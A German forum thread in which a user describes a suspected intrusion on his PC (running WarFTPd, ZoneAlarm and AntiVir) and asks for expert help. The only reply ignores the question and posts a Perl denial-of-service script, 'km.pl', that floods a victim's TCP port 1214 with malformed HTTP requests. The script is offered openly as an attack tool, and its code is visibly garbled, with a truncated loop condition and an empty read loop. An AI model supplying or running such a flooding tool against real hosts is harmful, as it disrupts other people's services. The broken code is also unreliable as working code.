HI
Heut ist meiner Frau etwas passiert.
Auf meinem PC lief WarFTPd 1.80.05 (Dec 7 2000), ZA(Mittelstellung), AntiVir, CD-Open, FreeMem.
Als meine Frau mit M$Word arbeitete schrieb "jemand" etwas in ihren Text mit hinein und danach gingen plötzlich mehrer Fenster automatisch auf, ala "Netbus".
Hab daraufhin zig Viren- und Trojanerscanner über den PC rüberlaufen lassen, aber die haben leider nix gefunden und auch in der ZA-Leiste war kein unbekanntes Programm aufgelistet.
Hab auch keine Freigaben auf der Pladde die evtl. über Netbios gesteuert bzw. erreichbar sein könnten.
Bitte nur kompetente Antworten, kein Kiddiekram.
Viren, Spyware, Datenschutz 11.212 Themen, 94.153 Beiträge
morpheus is cool.
try this
#Usage: ./km.pl -h victimip
use Socket;
use Getopt::Std;
getopts("h:", \%args);
print("\nK/M Denial of Service\n");
if (!defined $args{h}) {
print("Usage: km.pl -h victimip\n\n");
exit; }
$host = $args{h};
$target = inet_aton($host) || die("inet_aton problems; host doesn't exist?");
$trash="A"x100;
&exec_cmd($command);
sub exec_cmd {
for($count=1;$count {
sendraw("GET /\"$trash\" HTTP/1.0\n\n");
print("|");
}
print("\nData Sent.\n\n");
}
sub sendraw {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,1214,$target)){
my @in;
select(S); $|=1; print $pstr;
while(){ push @in, $_;
print STDOUT "." if(defined $args{X});}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}